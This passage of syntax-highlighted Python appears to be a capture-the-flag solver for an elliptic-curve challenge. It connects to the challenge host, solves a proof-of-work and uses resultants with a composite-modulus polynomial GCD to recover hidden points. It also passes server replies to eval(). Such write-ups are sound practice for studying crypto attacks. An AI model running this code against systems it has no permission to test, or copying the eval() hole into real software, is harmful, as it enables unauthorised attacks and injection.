class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> DummyPoint</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">infinity</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> addend</span><span class="z-keyword z-operator"> =</span><span class="z-variable z-language z-special z-self z-python"> self</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> k</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> k</span><span class="z-keyword z-operator"> &amp;</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> R</span><span class="z-keyword z-operator"> =</span><span class="z-source"> R</span><span class="z-keyword z-operator"> +</span><span class="z-source"> addend</span></span> <span class="giallo-l"><span class="z-source"> addend</span><span class="z-keyword z-operator"> =</span><span class="z-source"> addend</span><span class="z-keyword z-operator"> +</span><span class="z-source"> addend</span></span> <span class="giallo-l"><span class="z-source"> k</span><span class="z-keyword z-operator"> &gt;&gt;=</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> R</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __repr__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-storage z-type z-string z-python"> f</span><span class="z-string">&quot;DummyPoint(</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">, </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-variable z-language z-special z-self z-python">self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">)&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python"> def</span><span class="z-support z-function z-magic z-python"> __eq__</span><span class="z-punctuation">(</span><span class="z-variable z-parameter z-function z-language z-special z-self z-python">self</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> other</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-variable z-language z-special z-self z-python"> self</span><span class="z-punctuation">.</span><span class="z-source">y</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> other</span><span class="z-punctuation">.</span><span class="z-source">y</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">a</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> b</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation">(</span><span class="z-source">b</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> a</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">monic</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">b</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> a</span><span class="z-keyword z-operator"> %</span><span class="z-meta z-function-call z-arguments z-python"> b</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> verify</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">x</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-punctuation"> (</span><span class="z-source">x</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation"> (</span><span class="z-source">y</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> %</span><span class="z-source"> n</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Write the solver code to a file</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">with</span><span class="z-support z-function z-builtin z-python"> open</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;kctf_solver.py&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;w&quot;</span><span class="z-punctuation">)</span><span class="z-keyword z-control z-flow z-python"> as</span><span class="z-source"> f</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">write</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">kctf_solver_code</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># ECC</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">a</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> b</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation">(</span><span class="z-source">b</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">):</span><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-source"> a</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">monic</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span><span class="z-keyword z-control z-flow z-python"> return</span><span class="z-meta z-function-call z-python"> compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">b</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> a</span><span class="z-keyword z-operator"> %</span><span class="z-meta z-function-call z-arguments z-python"> b</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Establish connection</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> remote</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;sad-ecc-revenge.chal.idek.team&quot;</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># --- Handle PoW using the subprocess method ---</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[*] Handling Proof-of-Work using subprocess...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;) solve &quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">challenge</span><span class="z-keyword z-operator"> =</span><span class="z-source"> io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Received PoW challenge: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">challenge</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Run the external solver script</span></span> <span class="giallo-l"><span class="z-source">result</span><span class="z-keyword z-operator"> =</span><span class="z-source"> subprocess</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">run</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-punctuation"> [</span><span class="z-punctuation z-definition z-string z-string">&#39;python3&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;kctf_solver.py&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;solve&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> challenge</span><span class="z-punctuation">],</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> capture_output</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-variable z-parameter"> text</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span></span> <span class="giallo-l"><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">solution</span><span class="z-keyword z-operator"> =</span><span class="z-source"> result</span><span class="z-punctuation">.</span><span class="z-source">stdout</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">strip</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Calculated PoW solution: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">solution</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Solution? &quot;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> solution</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;Correct</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python">print</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;[+] PoW solved!&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># io.interactive()</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&quot;&gt; &quot;</span><span class="z-punctuation">,</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&quot;2</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">n</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 18462925487718580334270042594143977219610425117899940337155124026128371741308753433204240210795227010717937541232846792104611962766611611163876559160422428966906186397821598025933872438955725823904587695009410689230415635161754603680035967278877313283697377952334244199935763429714549639256865992874516173501812823285781745993930473682283430062179323232132574582638414763651749680222672408397689569117233599147511410313171491361805303193358817974658401842269098694647226354547005971868845012340264871645065372049483020435661973539128701921925288361298815876347017295555593466546029673585316558973730767171452962355953</span></span> <span class="giallo-l"><span class="z-source">x1</span><span class="z-punctuation">,</span><span class="z-source"> y1</span><span class="z-punctuation">,</span><span class="z-source"> x2</span><span class="z-punctuation">,</span><span class="z-source"> y2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> var</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;x1 y1 x2 y2&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">s1</span><span class="z-punctuation">,</span><span class="z-source"> s2</span><span class="z-punctuation">,</span><span class="z-source"> s3</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> eval</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvline</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">().</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;:&quot;</span><span class="z-punctuation">)[</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># print(f&quot;{s1}&quot;)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># print(f&quot;{s2}&quot;)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># print(f&quot;{s3}&quot;)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">f</span><span class="z-keyword z-operator"> = -</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 3</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y1</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> +</span><span class="z-punctuation"> (</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">2</span><span class="z-keyword z-operator">*</span><span class="z-source">x1</span><span class="z-keyword z-operator"> +</span><span class="z-source"> x2</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 3</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y1</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation"> (</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">*</span><span class="z-punctuation">(</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> y2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">/</span><span class="z-punctuation">(</span><span class="z-source">x1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> +</span><span class="z-source"> y1</span></span> <span class="giallo-l"><span class="z-source">f</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-keyword z-operator"> -</span><span class="z-source"> s3</span></span> <span class="giallo-l"><span class="z-source">f</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> f</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">y1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-arguments z-python"> s1</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-function-call z-arguments z-python"> x1</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> y2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-arguments z-python"> s2</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-function-call z-arguments z-python"> x2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">f</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">numerator</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source">E1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x1</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation"> (</span><span class="z-source">y1</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span></span> <span class="giallo-l"><span class="z-source">E2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> x2</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-keyword z-operator"> -</span><span class="z-punctuation"> (</span><span class="z-source">y2</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 1337</span><span class="z-punctuation">)</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">3</span></span> <span class="giallo-l"><span class="z-source">E1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> E1</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">y1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-arguments z-python"> s1</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-function-call z-arguments z-python"> x1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">E2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> E2</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">y2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-arguments z-python"> s2</span><span class="z-keyword z-operator"> -</span><span class="z-meta z-function-call z-arguments z-python"> x2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">f1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">resultant</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">E1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> x1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">f2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">resultant</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">E2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> x1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">PR</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PolynomialRing</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">Zmod</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">n</span><span class="z-punctuation">),</span><span class="z-variable z-parameter"> name</span><span class="z-keyword z-operator">=</span><span class="z-punctuation z-definition z-string z-string">&quot;x&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">x</span><span class="z-keyword z-operator"> =</span><span class="z-source"> PR</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">gens</span><span class="z-punctuation">()[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">g1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PR</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f1</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">replace</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;x2&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;x&quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">g2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PR</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">replace</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;x2&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;x&quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">x2_</span><span class="z-keyword z-operator"> = -</span><span class="z-support z-type z-python">list</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">g1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> g2</span><span class="z-punctuation">))[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">y2_</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s2</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x2_</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source">PR</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PolynomialRing</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">Zmod</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">n</span><span class="z-punctuation">),</span><span class="z-variable z-parameter"> name</span><span class="z-keyword z-operator">=</span><span class="z-punctuation z-definition z-string z-string">&quot;x&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">x</span><span class="z-keyword z-operator"> =</span><span class="z-source"> PR</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">gens</span><span class="z-punctuation">()[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">f1</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">resultant</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">E1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> x2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">f2</span><span class="z-keyword z-operator"> =</span><span class="z-source"> f</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">resultant</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">E2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> x2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">g1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PR</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f1</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">replace</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;x1&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;x&quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">g2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> PR</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f2</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">replace</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;x1&quot;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;x&quot;</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source">x1_</span><span class="z-keyword z-operator"> = -</span><span class="z-support z-type z-python">list</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-python">compositeModulusGCD</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">g1</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> g2</span><span class="z-punctuation">))[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">y1_</span><span class="z-keyword z-operator"> =</span><span class="z-source"> s1</span><span class="z-keyword z-operator"> -</span><span class="z-source"> x1_</span></span> <span class="giallo-l"><span class="z-source">P1</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x1_</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y1_</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">P2</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> DummyPoint</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">x2_</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> y2_</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source">P3</span><span class="z-keyword z-operator"> =</span><span class="z-source"> P1</span><span class="z-keyword z-operator"> +</span><span class="z-source"> P2</span></span> <span class="giallo-l"><span class="z-source">x3_</span><span class="z-punctuation">,</span><span class="z-source"> y3_</span><span class="z-keyword z-operator"> =</span><span class="z-source"> P3</span><span class="z-punctuation">.</span><span class="z-source">x</span><span class="z-punctuation">,</span><span class="z-source"> P3</span><span class="z-punctuation">.</span><span class="z-source">y</span></span> <span class="giallo-l"><span class="z-source">points</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> [</span><span class="z-source">x1_</span><span class="z-punctuation">,</span><span class="z-source"> y1_</span><span class="z-punctuation">,</span><span class="z-source"> x2_</span><span class="z-punctuation">,</span><span class="z-source"> y2_</span><span class="z-punctuation">,</span><span class="z-source"> x3_</span><span class="z-punctuation">,</span><span class="z-source"> y3_</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-source">io</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendafter</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Your reveal: &quot;</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> 